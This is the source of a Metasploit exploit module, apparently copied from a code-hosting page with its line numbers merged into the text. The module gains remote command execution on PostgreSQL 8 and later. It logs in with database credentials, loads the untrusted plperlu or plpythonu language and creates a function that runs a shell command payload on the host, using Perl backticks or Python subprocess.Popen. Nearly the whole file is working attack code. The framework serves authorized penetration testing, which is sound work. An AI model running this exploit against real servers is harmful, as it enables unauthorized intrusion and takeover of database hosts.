Path: blob/master/modules/exploits/multi/postgres/postgres_createlang.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Postgres9include Msf::Exploit::Remote::Tcp10include Msf::Auxiliary::Report11include Msf::OptionalSession::PostgreSQL1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'PostgreSQL CREATE LANGUAGE Execution',18'Description' => %q{19Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.20Most commonly this is Perl and Python. When enabled, command execution is possible on the host.21To execute system commands, loading the "untrusted" version of the language is necessary.22This requires a superuser. This is usually postgres. The execution should be platform-agnostic,23and has been tested on OS X, Windows, and Linux.2425This module attempts to load Perl or Python to execute system commands. As this dynamically loads26a scripting language to execute commands, it is not necessary to drop a file on the filesystem.2728Only Postgres 8 and up are supported.29},30'Author' => [31'Micheal Cottingham', # author of this module32'midnitesnake', # the postgres_payload module that this is based on,33'Nixawk' # Improves the module34],35'License' => MSF_LICENSE,36'References' => [37['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],38['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],39['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']40],41'Platform' => %w(linux unix win osx),42'Payload' => {43'PayloadType' => %w(cmd)44},45'Arch' => [ARCH_CMD],46'Targets' => [47['Automatic', {}]48],49'DefaultTarget' => 0,50'DisclosureDate' => '2016-01-01',51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')60end6162def check63vuln_version? ? CheckCode::Appears : CheckCode::Safe64end6566def vuln_version?67version = postgres_fingerprint6869return unless version[:auth]7071vprint_status version[:auth].to_s7273version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first7475Rex::Version.new(version_full) >= Rex::Version.new('8.0')76end7778def login_success?79status = do_login(username, password, database)80case status81when :noauth82print_error "#{peer} - Authentication failed"83return false84when :noconn85print_error "#{peer} - Connection failed"86return false87else88print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{status}"89return true90end91end9293def load_extension?(language)94case load_procedural_language(language, 'LANGUAGE')95when :exists96print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} is already loaded, continuing"97return true98when :loaded99print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} was successfully loaded, continuing"100return true101when :not_exists102print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} could not be loaded"103return false104else105vprint_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - error occurred loading #{language}"106return false107end108end109110def exec_function?(func_name)111query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"112select_query = postgres_query(query)113114case select_query.keys[0]115when :conn_error116print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"117return false118when :sql_error119elog(select_query[:sql_error])120121missing_executable_match = select_query[:sql_error].match "FileNotFoundError[^\t]*"122unless missing_executable_match.nil?123print_error "#{missing_executable_match} - The target binary was not found on the target."124return false125end126127if select_query[:sql_error].match? 'execution expired'128print_warning 'Timed out. The function was potentially executed.'129return true130end131132print_warning "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}"133return false134when :complete135print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Exploit successful"136return true137else138print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"139return false140end141end142143def create_function?(language, func_name)144load_func = ''145146case language147when 'perl'148query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$"149query << "`$_[0]`;"150query << "$$ LANGUAGE pl#{language}u"151load_func = postgres_query(query)152when /^python(?:2|3)?/i153query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"154query << "import subprocess, shlex\rsubprocess.Popen(shlex.split(c))\r"155query << "$$ LANGUAGE pl#{language}u"156load_func = postgres_query(query)157end158159case load_func.keys[0]160when :conn_error161print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"162return false163when :sql_error164print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Exploit failed"165return false166when :complete167print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Loaded UDF (exec_#{func_name})"168return true169else170print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"171return false172end173end174175def load_procedural_language(language, extension)176query = "CREATE #{extension} pl#{language}u"177load_language = postgres_query(query)178return :loaded unless load_language.keys[0] == :sql_error179180match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)181return :exists if match_exists182183match_error = load_language[:sql_error].match(/(?:[Cc]ould not (?:open extension control|access) file|unsupported language)/m)184return :not_exists if match_error185186# Default to something sane187:not_exists188end189190def do_login(user, pass, database)191begin192password = pass || postgres_password193result = postgres_fingerprint(194db: database,195username: user,196password: password197)198199return result[:auth] if result[:auth]200201print_error "#{peer} - Login failed"202return :noauth203rescue Rex::ConnectionError204return :noconn205end206end207208def exploit209self.postgres_conn = session.client if session210return unless vuln_version?211return unless login_success?212213languages = %w(perl python python2 python3)214languages.each do |language|215next unless load_extension?(language)216217func_name = Rex::Text.rand_text_alpha(10)218next unless create_function?(language, func_name)219220if exec_function?(func_name)221print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"222break223end224end225postgres_logout if @postgres_conn && session.blank?226end227end228229230